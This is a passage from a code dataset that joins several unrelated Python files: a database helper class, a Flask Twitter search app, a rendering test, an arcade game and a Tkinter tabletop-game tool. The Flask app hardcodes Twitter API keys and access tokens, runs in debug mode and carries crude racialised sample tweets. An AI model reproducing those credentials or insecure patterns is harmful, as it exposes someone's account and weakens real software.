self.connect()\n cursor = driver.cursor()\n\n if values is None:\n values = [None for _ in range(len(queries))]\n for query, value in zip(queries, values):\n if value is not None:\n cursor.execute(\n self.format(query, values=value),\n self.flatten(value),\n )\n else:\n cursor.execute(query)\n\n driver.commit()\n cursor.close()\n driver.close()\n\n def get(self, query: str, values: tuple = None, cast: bool = True) -> List[dict]:\n driver = self.connect()\n cursor = driver.cursor()\n\n if values is not None:\n cursor.execute(self.format(query, values=values), self.flatten(values))\n else:\n cursor.execute(query)\n results = cursor.fetchall()\n if cast:\n attributes = [attribute[0] for attribute in cursor.description]\n results = [\n {key: value for key, value in zip(attributes, result)}\n for result in results\n ]\n\n cursor.close()\n driver.close()\n return results\n\n def get_unique(self, query: str, values: tuple = None) -> Optional[dict]:\n driver = self.connect()\n cursor = driver.cursor()\n\n if values is not None:\n cursor.execute(self.format(query, values=values), self.flatten(values))\n else:\n cursor.execute(query)\n result = cursor.fetchone()\n if result is not None:\n attributes = [attribute[0] for attribute in cursor.description]\n result = {key: value for key, value in zip(attributes, result)}\n\n cursor.close()\n driver.close()\n return result\n\n def add(self, table: str, item: dict, strict: bool = True):\n attributes = sorted(list(item.keys()))\n columns = [self.escape(attribute) for attribute in attributes]\n placeholder = \",\".join([self.PLACEHOLDER for _ in attributes])\n self.run(\n f\"INSERT {'' if strict else 'IGNORE'}\\\n INTO {table} ({','.join(columns)}) \\\n VALUES ({placeholder})\",\n tuple([item.get(key) for key in attributes]),\n )\n\n def add_batch(\n self,\n table: str,\n items: List[dict],\n strict: bool = True,\n batch_size: int = None,\n ):\n if len(items) == 0:\n return\n\n attributes = sorted(list(items[0].keys()))\n columns = [self.escape(attribute) for attribute in attributes]\n placeholder = \", \".join([self.PLACEHOLDER for _ in attributes])\n batch_size = (\n int(self.MAX_COUNT_PLACEHOLDERS / len(items[0].keys()))\n if batch_size is None\n else batch_size\n )\n\n driver = self.connect()\n cursor = driver.cursor()\n\n for index in range(0, len(items), batch_size):\n excerpt = items[index : index + batch_size]\n if len(excerpt) > 0:\n placeholders = \", \".join([f\"({placeholder})\" for _ in excerpt])\n cursor.execute(\n f\"INSERT {'' if strict else 'IGNORE'} \\\n INTO {table} ({','.join(columns)}) \\\n VALUES {placeholders}\",\n tuple(\n itertools.chain.from_iterable(\n [[item.get(key) for key in attributes] for item in excerpt]\n )\n ),\n )\n\n driver.commit()\n cursor.close()\n driver.close()\n\n def add_as_run_batch(\n self,\n tables: List[str],\n items: List[dict],\n strict: bool = True,\n forced_constraints: bool = False,\n ):\n if len(items) == 0 or len(tables) != len(items):\n return\n\n driver = self.connect()\n cursor = driver.cursor()\n\n list_queries = []\n list_values = []\n for table, item in zip(tables, items):\n attributes = sorted(list(item.keys()))\n columns = [self.escape(attribute) for attribute in attributes]\n placeholder = \",\".join([self.PLACEHOLDER for _ in attributes])\n list_queries.append(\n f\"INSERT {'' if strict else 'IGNORE'} \\\n INTO {table} ({','.join(columns)}) \\\n VALUES ({placeholder})\"\n )\n list_values.append(tuple([item.get(key) for key in attributes]))\n\n if forced_constraints:\n self.run_batch(\n [\n \"SET FOREIGN_KEY_CHECKS = 0\",\n *list_queries,\n \"SET FOREIGN_KEY_CHECKS = 1\",\n ],\n [None, *list_values, None],\n )\n else:\n self.run_batch(list_queries, list_values)\n\n driver.commit()\n cursor.close()\n driver.close()\n","sub_path":"bastion/src/services/rds.py","file_name":"rds.py","file_ext":"py","file_size_in_byte":7012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"271838307","text":"import flask\nfrom flask import request\nfrom flask import render_template\nimport twitter\nimport json\n\napp = flask.Flask(__name__)\n\n@app.route('/')\ndef index():\n\treturn render_template('index.html')\n\n@app.route('/search')\ndef search():\n\t# Gets the search type (location, subject, etc.) and the keyword\n\tapi = twitter.Api(consumer_key='DdU16WP4VM7P9PHOUJ57g', consumer_secret='s3MRayg34QV82RXOsG3VZquXY0JY7k0osL5SfKZ2o', access_token_key='419788290-Lq3CrrkXbRhv6Sdn06KDCQRueErUpXCF8dFZY2wo', access_token_secret='wcmsAk7CUrJHifaTcZiAVsN4tCC4rmV8h59rw2ZUeO3S6', cache=None)\n\tstatuses = api.GetStreamSample()\n\t#data = [\n\t#{\n\t#\t\"user\" : {\"name\" : \"Breezy\"},\n\t#\t\"text\" : \"wait till i get some where .. all my pas coaches are going to look so dumb #OnMyGrind\",\n\t#\t\"id_str\" : 435599139938639873\n\t#},\n\t#{\n\t#\t\"user\" : {\"name\" : \"nudLyfe2015\"},\n\t#\t\"text\" : \"Got a job #OnMyGrind\",\n\t#\t\"id_str\" : 435590638109601792\n\t#},\n#{\n#\t#\t\"user\" : {\"name\" : \"yolkedbro\"},\n#\t#\t\"text\" : \"Benched 400 lbs #OnMyGrind\",\n#\t#\t\"id_str\" : 435590638109601992\n#\t#},\n#{#\n#\t#\t\"user\" : {\"name\" : \"masterLuke\"},\n#\t#\t\"text\" : \"hustling #OnMyGrind\",\n#\t#\t\"id_str\" : 435590638109601992\n#\t#},\n#{#\n#\t#\t\"user\" : {\"name\" : \"Rex\"},\n#\t#\t\"text\" : \"studying for midterms #OnMyGrind\",\n#\t#\t\"id_str\" : 435590638109601992\n#\t#},\n#{#\n#\t#\t\"user\" : {\"name\" : \"O.d.\"},\n#\t#\t\"text\" : \"<3 money #OnMyGrind\",\n#\t#\t\"id_str\" : 435590638109601992\n#\t#},\n#{#\n#\t#\t\"user\" : {\"name\" : \"Chel.\"},\n#\t#\t\"text\" : \"i rap about money but i aint got no money #OnMyGrind\",\n#\t#\t\"id_str\" : 435590638109601992\n#\t#},\n#{#\n#\t#\t\"user\" : {\"name\" : \"John koski.\"},\n#\t#\t\"text\" : \"feeling amazzzinggg #OnMyGrind\",\n#\t#\t\"id_str\" : 435590638109601992\n#\t#},\n#\n#{#\n#\t#\t\"user\" : {\"name\" : \"DSK.\"},\n#\t#\t\"text\" : \"ima make a name for myself soon #OnMyGrind\",\n#\t#\t\"id_str\" : 435590638109601992\n#\t#},\n#{#\n#\t#\t\"user\" : {\"name\" : \"Lucy.\"},\n#\t#\t\"text\" : \"heading to a film festival #OnMyGrind\",\n#\t#\t\"id_str\" : 435590638109601992\n#\t#},\n\t#]\n\n\tdata = [\n\t{\n\t\t\t\"user\" : {\"name\" : \"OfficialJeffC\"},\n\t\t\t\"text\" : \"What is \\\"hair\\\" #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t},\n\t\t\n\t{\n\t\t\t\"user\" : {\"name\" : \"TheJeopardyShow\"},\n\t\t\t\"text\" : \"What is surviving a scary movie #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t},\n\n\t{\n\t\t\t\"user\" : {\"name\" : \"RealJeremyJ\"},\n\t\t\t\"text\" : \"What is Reading out loud #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t},\n\n\t{\n\t\t\t\"user\" : {\"name\" : \"TheJeopardyShow\"},\n\t\t\t\"text\" : \"What is Let me borrow #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t},\n\n\t{\n\t\t\t\"user\" : {\"name\" : \"GhettoTrebek\"},\n\t\t\t\"text\" : \"Category: Celebrities that white people mistake for Tupac #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t},\n\n\t{\n\t\t\t\"user\" : {\"name\" : \"dvdx_\"},\n\t\t\t\"text\" : \"What is \\\"I'm on my way\\\" #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t},\n\n\t{\n\t\t\t\"user\" : {\"name\" : \"TheRawestMike\"},\n\t\t\t\"text\" : \"What is never #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t},\n\n\t{\n\t\t\t\"user\" : {\"name\" : \"TheJeopardyShow\"},\n\t\t\t\"text\" : \"What is, \\\"If you can't handle me at my worst, you don't deserve me at my best\\\"? #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t},\n\n\t{\n\t\t\t\"user\" : {\"name\" : \"AyeeCurt_\"},\n\t\t\t\"text\" : \"What Is A Plastic Bag Filled With More Plastic Bags #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t},\n\n\t{\n\t\t\t\"user\" : {\"name\" : \"GhettoTrebek\"},\n\t\t\t\"text\" : \"For $400 #GhettoJeopardy\",\n\t\t\t\"id_str\" : 435590638109601792\n\t}\n\t]\n\n\tn = request.args.get('n', -1)\n\tquery = request.args.get('query', None)\n#\n#\t#if n > 0 and query != None:\n#\t#\tcount = 0\n#\t#\tfor obj in statuses:\n#\t#\t\tif 'text' in obj and 'entities' in obj and 'lang' in obj:\n#\t#\t\t\tif obj['text'] != None and obj['entities']['hashtags'] != None and obj['lang'] != None:\n#\t#\t\t\t\tif query in obj['entities']['hashtags']:\n#\t#\t\t\t\t\tdata.append(obj)\n#\t#\t\t\t\t\tcount = count + 1\n#\t#\t\t\t\t\tif count >= n:\n#\t#\t\t\t\t\t\tbreak\n\t#\t\t\t\t\tcontinue\n\n\t#else:\n\tif n < 0 and query == None:\n\t\tdata = None\n\t\tn = -1\n\n\treturn render_template('search.html', n=n, query=query, data=data)\n\n@app.route('/view/')\ndef view(id):\n\t# Gets the search type (location, subject, etc.) and the keyword\n\tapi = twitter.Api(consumer_key='DdU16WP4VM7P9PHOUJ57g', consumer_secret='s3MRayg34QV82RXOsG3VZquXY0JY7k0osL5SfKZ2o', access_token_key='419788290-Lq3CrrkXbRhv6Sdn06KDCQRueErUpXCF8dFZY2wo', access_token_secret='wcmsAk7CUrJHifaTcZiAVsN4tCC4rmV8h59rw2ZUeO3S6', cache=None)\n\tdata = api.GetStatus(id)\n\treturn render_template('results.html', data=data)\n\n@app.route('/custom')\ndef custom():\n\t# Gets the search type (location, subject, etc.) and the keyword\n\tapi = twitter.Api(consumer_key='DdU16WP4VM7P9PHOUJ57g', consumer_secret='s3MRayg34QV82RXOsG3VZquXY0JY7k0osL5SfKZ2o', access_token_key='419788290-Lq3CrrkXbRhv6Sdn06KDCQRueErUpXCF8dFZY2wo', access_token_secret='wcmsAk7CUrJHifaTcZiAVsN4tCC4rmV8h59rw2ZUeO3S6', cache=None)\n\tstatuses = api.GetStreamSample()\n\tdata = []\n\n\tcount = 0\n\tfor obj in statuses:\n\t\tif 'text' in obj and 'created_at' in obj and 'lang' in obj:\n\t\t\tif obj['text'] != None and obj['created_at'] != None and obj['lang'] == 'en':\n\t\t\t\tdata.append(obj)\n\t\t\t\tcount = count + 1\n\t\t\t\tif count >= 10:\n\t\t\t\t\tbreak\n\t\t\t\tcontinue\n\n\treturn render_template('custom.html', data=data)\n\napp.debug = True\napp.run()","sub_path":"Twitter Tunnel/rapid.py","file_name":"rapid.py","file_ext":"py","file_size_in_byte":5196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"104578699","text":"import mitsuba\nimport pytest\nimport enoki as ek\n\ndef test01_create(variant_scalar_rgb):\n from mitsuba.core import xml, ScalarTransform4f\n\n s = xml.load_dict({\n 'type' : 'shapegroup',\n 'shape_01' : {\n 'type' : 'sphere',\n 'radius' : 1.0,\n 'to_world' : ScalarTransform4f.translate([-2, 0, 0])\n },\n 'shape_02' : {\n 'type' : 'sphere',\n 'radius' : 1.0,\n 'to_world' : ScalarTransform4f.translate([2, 0, 0])\n }\n })\n\n b = s.bbox()\n assert s is not None\n assert s.primitive_count() == 2\n assert s.effective_primitive_count() == 0\n assert s.surface_area() == 0\n assert ek.allclose(b.center(), [0, 0, 0])\n assert ek.allclose(b.min, [-3, -1, -1])\n assert ek.allclose(b.max, [3, 1, 1])\n\n\ndef test02_error(variant_scalar_rgb):\n from mitsuba.core import xml\n\n error = \"Nested instancing is not permitted\"\n with pytest.raises(RuntimeError, match='.*{}.*'.format(error)):\n xml.load_dict({\n 'type' : 'shapegroup',\n 'shape_01' : {\n 'type' : 'instance',\n 'shapegroup' : {\n 'type' : 'shapegroup',\n 'shape_01' : { 'type' : 'sphere', },\n }\n },\n })\n\n error = \"Nested ShapeGroup is not permitted\"\n with pytest.raises(RuntimeError, match='.*{}.*'.format(error)):\n xml.load_dict({\n 'type' : 'shapegroup',\n 'shape_01' : {\n 'type' : 'shapegroup',\n 'shape' : { 'type' : 'sphere' },\n },\n })\n\n error = \"Instancing of emitters is not supported\"\n with pytest.raises(RuntimeError, match='.*{}.*'.format(error)):\n xml.load_dict({\n 'type' : 'shapegroup',\n 'shape_01' : {\n 'type' : 'sphere',\n 'emitter' : { 'type' : 'area' }\n },\n })\n\n error = \"Instancing of sensors is not supported\"\n with pytest.raises(RuntimeError, match='.*{}.*'.format(error)):\n xml.load_dict({\n 'type' : 'shapegroup',\n 'shape_01' : {\n 'type' : 'sphere',\n 'sensor' : { 'type' : 'perspective' }\n },\n })\n","sub_path":"src/shapes/tests/test_shapegroup.py","file_name":"test_shapegroup.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"282049725","text":"import arcade\nimport random\n\nWIDTH = 500\nHEIGHT = 650\n\n#player\nplayer_x = WIDTH / 2\nplayer_y = 50\n\nleft_key = False\nright_key = False\n\n\n#zombie\nzombie_x = []\nzombie_y = []\n\nnum = 10\n\nfor i in range(num):\n x = random.randrange(25, WIDTH - 25,40)\n y = random.randrange(HEIGHT+25,HEIGHT+250,70)\n zombie_x.append(x)\n zombie_y.append(y)\n\ndef setup():\n arcade.open_window(WIDTH, HEIGHT, \"My Arcade Game\")\n arcade.set_background_color(arcade.color.WHITE)\n arcade.schedule(update, 1/60)\n\n # Override arcade window methods\n window = arcade.get_window()\n window.on_draw = on_draw\n window.on_key_press = on_key_press\n window.on_key_release = on_key_release\n window.on_mouse_press = on_mouse_press\n\n arcade.run()\n\n\ndef update(delta_time):\n global left_key, right_key, player_x, player_y, zombie_y, zombie_x\n\n #player\n speed = 8\n if left_key == True:\n player_x -= speed\n elif right_key == True:\n player_x += speed\n\n\n #player border\n if player_x < 25:\n player_x = 25\n elif player_x > WIDTH - 25:\n player_x = WIDTH - 25\n\n\n #zombie\n for index in range(len(zombie_y)):\n zombie_y[index] -= 5\n if zombie_y[index] < 0:\n zombie_y[index] = random.randrange(HEIGHT + 25, HEIGHT + 250, 70)\n zombie_x[index] = random.randrange(25, WIDTH - 25, 40)\n\n\ndef on_draw():\n arcade.start_render()\n # Draw in here...\n global player_x, player_y, zombie_x, zombie_y\n\n arcade.draw_rectangle_filled(player_x, player_y, 45,45, arcade.color.BLUE)\n\n for x,y in zip(zombie_x,zombie_y):\n draw_zombie(x,y)\n\n\ndef on_key_press(key, modifiers):\n global left_key, right_key, up_key, down_key\n\n if key == arcade.key.LEFT:\n left_key = True\n elif key == arcade.key.RIGHT:\n right_key = True\n\n\n\ndef on_key_release(key, modifiers):\n global left_key, right_key, up_key, down_key\n\n if key == arcade.key.LEFT:\n left_key = False\n elif key == arcade.key.RIGHT:\n right_key = False\n\n\ndef on_mouse_press(x, y, button, modifiers):\n pass\n\ndef draw_zombie(x,y):\n\n arcade.draw_rectangle_filled(x,y,30,30,arcade.color.MOSS_GREEN)\n arcade.draw_rectangle_filled(x,y-35,30,40,arcade.color.SAND)\n arcade.draw_rectangle_filled(x-10,y-60,10,10,arcade.color.MOSS_GREEN)\n arcade.draw_rectangle_filled(x+10,y-60,10,10,arcade.color.MOSS_GREEN)\n\n\n\nif __name__ == '__main__':\n setup()\n","sub_path":"master/CPT.py","file_name":"CPT.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"393046082","text":"import sys\nimport os\nbase_path=os.path.normpath(os.getcwd() + os.sep + os.pardir)\nsys.path.append(base_path)\nsys.path.append(os.path.join(base_path, 'Scripts'))\nsys.path.append(os.path.join(base_path, 'Cities'))\nimport Items_New\nfrom Tkinter import *\nfrom Helpers import *\nimport RandomEn\nfrom PIL import Image, ImageTk\nimport importlib\nimport pickle\nimport ttk\n\nwidth=1200\nlength=650\n\nglobal char\nglobal data\nroot=Tk()\n\nroot.geometry(str(width)+'x'+str(length)+\"+200+200\")\nroot.title(\"DM's Window\")\nnb=ttk.Notebook()\n\n#image = Image.open(\"C:\\Users\\Phillip\\Desktop\\Dnd Stuff\\Images\\Parchment.jpg\").resize((width,length))\n#background_image=ImageTk.PhotoImage(image)\n#background_label = Label(root, image=background_image)\n#background_label.place(x=0, y=0, relwidth=1, relheight=1)\n\n'''Main window for DM'''\nApp= ttk.Frame(nb)\nnb.add(App, text='Main')\n\ndiv_long=Canvas(App, width = 5, height = length, bg = \"black\")\ndiv_height=Canvas(App, width = 742, height = 5, bg = \"black\")\ndiv_long.place(x=745,y=0)\n\ndiv_height.place(x=0,y=330)\n\ncityPath=os.path.join(base_path, 'Cities')\n\nStoryPath=os.path.join(base_path, 'Stories')\n\n\n\n\n\n#save button is always good\n\ndef sav():\n name=city.get() if '.dat' in city.get() else city.get()+'.dat'\n with open(os.path.join(cityPath,name), 'wb') as flo:\n pickle.dump(data, flo, protocol=2)\nsavButton=Button(App, text=\"Save\", command=sav)\nsavButton.grid(column=5, row=0)\n\n\n\n\n'''make a way to change cities'''\n#label and city entry\ncity_box=Label(App, text=\"Current City\")\ncity_box.grid(column=0, row=0)\ncity=Entry(App)\ncity.insert(END, \"Ukriah\")\ncity.grid(column=0,row=1)\n\n#distance entry for radnome encounters\ndis_label=Label(App, text=\"Distance\")\ndis_label.grid(column=1, row=0)\ndis=Entry(App)\ndis.insert(END, 10)\ndis.grid(column=1, row=1)\n#go button\n\n\n\n\n#make a main list box for the general populace\nlist_box_label=Label(App, text=\"Populace\")\nlist_box_label.grid(column= 0, row=2)\nlist_box= Listbox(App, selectmode=\"BROWSE\",height=16)\nlist_box.grid(column= 0, row=3, rowspan=8, sticky=N)\n#scrollbar.pack(side=\"right\", fill=\"y\")\n\n\"\"\"Widgets for characgter display------------------------------------------------\"\"\"\n\n#Name and HP\nname_label=Label(App, text=\"Name\")\nname_label.grid(column= 1, row=2)\nname=Entry(App)\nname.grid(column=1, row=3, sticky=N)\n\n#HP display and change button\nhealthButton=Label(App, text='Health')\nhealthButton.grid(column=2, row=2) \nhealth=Entry(App)\nhealth.grid(column=2, row=3, sticky=N)\n\n\nlevel_label=Label(App, text=\"Level\")\nlevel_label.grid(column= 4, row=2)\nlev=Entry(App)\nlev.grid(column=4, row=3, sticky=N)\n\nrace_label=Label(App, text=\"Race/Type\")\nrace_label.grid(column=5, row=2)\nrace=Entry(App)\nrace.grid(column=5, row=3, sticky=N)\n\n#makes a list bow for all the stats\nstats_Label=Label(App, text=\"Character stats\")\nstats_Label.grid(column=1, row=4, sticky=N)\nstats_box=Listbox(App, selectmode=\"BROWSE\", height=10)\nstats_box.grid(column=1, row=5, rowspan=4)\n\n#Spells \nspells_label=Label(App, text='Spells')\nspells_label.grid(column=2, row=4)\nspells_box=Listbox(App, selectmode=\"Browse\", height=10)\nspells_box.grid(column=2, row=5,rowspan=4)\n\ndef findSpell():\n SpellHelp(spellHelp_box.get())\nspell_help=Button(App, text='Spell Help', command=findSpell)\nspell_help.grid(column=1, row=9)\nspellHelp_box=Entry(App)\nspellHelp_box.grid(column=1, row=10)\n\n#items boxes\nitems_label=Label(App, text=\"Gear\")\nitems_label.grid(column=3, row=4)\nitems_box=Listbox(App, selectmode=\"BROWSE\", height=10)\nitems_box.grid(column=3, row=5,rowspan=4)\n\n#Special abilites/questsbox\nspecial_label=Label(App, text=\"Special\")\nspecial_label.grid(column=4, row=4)\nspecial_box=Text(App, height=10, width=30)\nspecial_box.grid(column=4, row=5, columnspan=3, rowspan=4, sticky=W)\n\n\n#gold stuff\ngold_label=Label(App, text=\"Gold\")\ngold_label.grid(column= 3, row=2)\ngold=Entry(App)\ngold.grid(column=3, row=3, sticky=N)\n\ndef findName(name, list):\n for i in list:\n if i.getStats()[\"Name\"]==name:\n return i\n \n \ndef enterStats(box, dicti, item=\"Stats\", replace=True):\n #this function enters the stuff for characters into each window\n holder=dicti.getStats()\n if item==\"Special\":\n box.delete('1.0',END)\n else:\n if replace==True:\n box.delete(0, END)\n if isinstance(holder[item], dict): \n for key in sorted(holder[item].keys()):\n box.insert(END, (str(key) + \" : \" + str(holder[item][key])))\n elif isinstance(holder[item], list):\n if not holder[item]:\n pass\n else:\n if isinstance(holder[item][0] , dict):\n for obj in holder[item]:\n box.insert(END, obj['Item'] + ' : ' + str(obj['Price']) + 'gp : ' + str(obj['Stats']))\n else:\n for obj in holder[item]:\n box.insert(END, str(obj))\n else:\n box.insert(END, str(holder[item]))\n\n\ndef saveStats(yy):\n if gold.get()!='':\n yy.setGold(float(gold.get()))\n yy.setHP(int(health.get()))\n yy.setSpecial(special_box.get('1.0',END)) \n\n#updates all of the stats and what not for the character entries \ndef up_date(event):\n try:\n saveStats(char)\n except NameError:\n pass\n else:\n saveStats(char) \n spells_box.delete(0,END) \n \n char=findName(list_box.get(list_box.curselection()), data)\n enterStats(stats_box, char)\n enterStats(health, char, item=\"HP\")\n enterStats(gold, char, item=\"Gold\")\n enterStats(lev, char, item=\"Level\")\n enterStats(race, char, item=\"Race\")\n enterStats(items_box, char, item=\"Stuff\")\n if char.__class__.__name__=='warrior':\n enterStats(items_box, char, item=\"Gear\", replace=False)\n enterStats(spells_box, char, item=\"Spells\")\n elif char.__class__.__name__=='merchant':\n enterStats(items_box, char, item=\"Goods\")\n if char.__class__.__name__==\"monster\":\n gold.delete(0,END)\n \n enterStats(special_box, char, item=\"Special\")\n #udates window when click happens \n name.delete(0, END)\n name.insert(END, list_box.get(list_box.curselection()) ) \n App.update() \n\nlist_box.bind('<>', up_date)\n\n\n#widget for xp counting\nsessionXp=XpCounter(0)\ndef set_XP():\n if int(char.getStats()[\"HP\"])<1:\n sessionXp.addXP(int(char.getExp()))\n xp_track.delete(0, END)\n xp_track.insert(END, str(sessionXp.getXP()))\n else:\n sessionXp.addXP(int(xp_track.get()))\n xp_track.delete(0, END)\n xp_track.insert(END, str(sessionXp.getXP())) \nxp_button=Button(App, text=\"Add XP\", command=set_XP)\nxp_button.grid(column=4, row=0, sticky=N)\nxp_track=Entry(App)\nxp_track.grid(column=4, row=1)\n\n\ndef newCity():\n #function for loading new city\n if city.get()=='RandomEncounter':\n '''UNDER CONSTRUCTION'''\n #deals with random encounters/ resets dis to left over miles \n global data\n data=RandomEn.randEncounter(int(dis.get()))\n dis.delete(0,END)\n dis.insert(END, data[1])\n data=data[0]\n #temporary fix so that i can load saved files and new modules until everything works in window) \n elif city.get()[-4:]=='.dat':\n with open(os.path.join(cityPath,city.get()), 'rb') as fl:\n data=list(pickle.load(fl))\n else: \n module=importlib.import_module(city.get())\n \n data=module.TotalPop\n \n list_box.delete(0, END)\n for item in data:\n list_box.insert(END, item.getStats()[\"Name\"])\n\ncity_button=Button(App, text='GO', command=newCity)\ncity_button.grid(column=2, row=0) \n\n#Dm's Notes Section___________________________________________________\nnotes_Label=Label(App, text=\"DM\\'s Story Notes\")\nnotes_Label.place(x=755, y=0)\nnote_book=Notes()\ncamp_Title=Entry(App)\ncamp_Title.place(x=860, y=0)\ndef sav_Notes():\n #for saving stories\n note_book.updateText(note_pad.get('1.0',END))\n name=camp_Title.get() if '.dat' in camp_Title.get() else camp_Title.get()+'.dat'\n with open(os.path.join(StoryPath,name), 'wb') as St:\n pickle.dump(note_book, St, protocol=2) \nnote_Save=Button(App, text=\"Save\", command=sav_Notes)\nnote_Save.place(x=1000,y=0)\n\ndef loadNotes():\n name=camp_Title.get() if '.dat' in camp_Title.get() else camp_Title.get()+'.dat'\n with open(os.path.join(StoryPath, name), 'rb') as St: \n global note_book\n note_book=pickle.load(St)\n note_pad.delete('1.0', END)\n note_pad.insert(END, note_book.get_Text())\n\n#load button\nload_button=Button(App, text='Load', command=loadNotes)\nload_button.place(x=1100, y=0)\n#pad for texts\n #add scrollbar\n\n#figure out the scroll thing\nnote_pad=Text(App, height=30, width=52, wrap=WORD)\nnote_pad.place(x=755, y=30)\n\n\n#dice rollers!\n\nd_four=dice_roller(App, num=4)\nd_four.put_it((30,380), spread=70)\n\nd_six=dice_roller(App, num=6)\nd_six.put_it((30,420), spread=70)\n\nd_eight=dice_roller(App,num=8)\nd_eight.put_it((30,460), spread=70)\n\nd_ten=dice_roller(App,num=10)\nd_ten.put_it((30,500), spread=70)\n\nd_twelve=dice_roller(App,num=12)\nd_twelve.put_it((30,540), spread=70)\n\nd_twenty=dice_roller(App,num=20)\nd_twenty.put_it((30,580), spread=70)\n\n\n\n\n\n\n\n\n\n\n'''City creator tab'''\nCC_tab= ttk.Frame(nb)\nnb.add(CC_tab, text='City Creator')\ndiv_height=Canvas(App, width = width, height = 5, bg = \"black\")\nchar_list=[]\n\n'''make a way to change cities'''\n#label and city entry\ncc_city_box=Label(CC_tab, text=\"City Name\")\ncc_city_box.grid(column=0, row=0)\ncc_city=Entry(CC_tab)\ncc_city.insert(END, \"New City\")\ncc_city.grid(column=0,row=1)\n\nNPC_num_choice=Entry(CC_tab)\nNPC_num_choice.place(x=100, y=300)\n\n\n\nNPC_choices={'General NPC':[\"None\"], 'Merchant':[\"General\",\"Weps\", \"Armor\"\n \"Blksmith\"]}\n\nclass_name=StringVar(CC_tab)\nclass_name.set(\"Class Type\")\n\ndef uptypes(x,y,z):\n new_choices = NPC_choices[NPCty_choice.get()]\n class_select['menu'].delete(0, 'end')\n for ch in new_choices:\n class_select['menu'].add_command(label=ch)#, command=class_name.set(ch)) \n \n\nclass_select=OptionMenu(CC_tab, class_name, *NPC_choices[\"General NPC\"])\nclass_select.place(x=250, y=350)\n\nNPCty_choice = StringVar(CC_tab)\nNPCty_choice.trace('w', uptypes)\nNPCty_choice.set(\"General NPC\")\n\nNPC_type=OptionMenu(CC_tab, NPCty_choice, *NPC_choices.keys())\nNPC_type.place(x=10, y=350)\n\n\n\ndef gen_chars():\n add_NPCs=[NPCs.NPC(level=int(NPC_level_choice.get())) for num in range(int(NPC_num_choice.get()))]\n char_list.extend(add_NPCs)\n \n #think of a faster way to add characters\n cc_NPCs_Box.delete(0, END)\n for item in add_NPCs:\n cc_NPCs_Box.insert(END, item.getStats()[\"Name\"]) \n\n#City Character list\ncc_NPCs_gen=Button(CC_tab, text=\"Generate\", command=gen_chars)\ncc_NPCs_gen.place(x=150,y=50)\ncc_NPCs_Box=Listbox(CC_tab, selectmode=\"BROWSE\", height=12, width=33) \ncc_NPCs_Box.place(x=10, y=100)\n\n\n\n\n\n\n\n\n\n\n'''Items/Tresure Tab'''\nTres_tab= ttk.Frame(nb)\nnb.add(Tres_tab, text='Tresure Tab')\ndef item_finder():\n if itChoice.get().lower().replace(' ','') in Items_New.Total_Cats:\n itms=[item for item in Items_New.items if itChoice.get().lower().replace(' ', '') in item['Type'].lower().replace(' ', '')]\n else:\n itms=[item for item in Items_New.items if itChoice.get().lower().replace(' ', '') in item['Item'].lower().replace(' ', '')]\n it_search_Box.delete(0,END)\n for it in itms:\n it_search_Box.insert(END,[str(key) + ' : ' + str(it[key]) for key in it.keys()] )\n Tres_tab.update()\n\n#1200x600\nit_search=Button(Tres_tab, text=\"Item Search\", command=item_finder)\nit_search.place(x=540,y=370)\nit_search_Box=Listbox(Tres_tab, selectmode=\"BROWSE\", height=12, width=33) \nit_search_Box.place(x=540, y=400)\n\n\nitChoice=Entry(Tres_tab)\nitChoice.place(x=615, y=375)\n#itHelp=Entry(App)\n#itHelp.grid(column=3, row=10)\n\n# make stuff to generate chyest loot\nchoices=['Caravan', 'Military Chest', 'Supply','Commerce','Treasure','Magic Chest']\nvariable = StringVar(App)\nvariable.set(\"Type\")\nchest_type=OptionMenu(Tres_tab, variable, *choices)\nchest_type.place(x=10, y=350)\n\n# number entry\nnum_choice=Entry(Tres_tab)\nnum_choice.place(x=90, y=350, width=50, height=20)\n\nlev_choice=Entry(Tres_tab)\nlev_choice.place(x=250, y=350, width=50, height=20)\n\ndef gen_Tres():\n global Tresure_Chests\n Tresure_Chests=[Items_New.chest(level=int(lev_choice.get()), \n Name=variable.get()+'_'+ str(num), \n Typer=variable.get()) for num in range(int(num_choice.get()))]\n for box in Tresure_Chests: \n tres_Box.insert(END, box.getName()) \n\n#Treasure box\ntres_gen=Button(Tres_tab, text=\"Generate\", command=gen_Tres)\ntres_gen.place(x=150,y=350)\ntres_Box=Listbox(Tres_tab, selectmode=\"BROWSE\", height=12, width=33) \ntres_Box.place(x=10, y=400)\n\ncontents_Box=Listbox(Tres_tab, selectmode=\"BROWSE\", height=12, width=33) \ncontents_Box.place(x=300, y=400)\n\ndef look_tres(event):\n #find the chest with the matching name\n Tres_chest=[c_box for c_box in Tresure_Chests if c_box.getName()==tres_Box.get(tres_Box.curselection())][0]\n contents_Box.delete(0,END)\n for item in Tres_chest.getTres():\n contents_Box.insert(END, 'Item : '+ item['Item']+','+'Value : '+str(item['Price']))\n #udates window when click happens \n Tres_tab.update() \n\ntres_Box.bind('<>', look_tres)\n\n\n\n\nnb.pack(expand=1, fill=\"both\")\n\nroot.mainloop()\n\n#App.mainloop()\n\n\n\n\n","sub_path":"Scripts/DM_display.py","file_name":"DM_display.py","file_ext":"py","file_size_in_byte":13396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"546774053","text":"import requests\r\nimport pygal\r\nfrom pygal.style import LightColorizedStyle as LCS, LightenStyle as LS\r\nfrom operator import itemgetter\r\n# 网址里是topstorty的ID\r\nURL = 'https://hacker-news.firebaseio.com/v0/topstories.json'\r\nr = 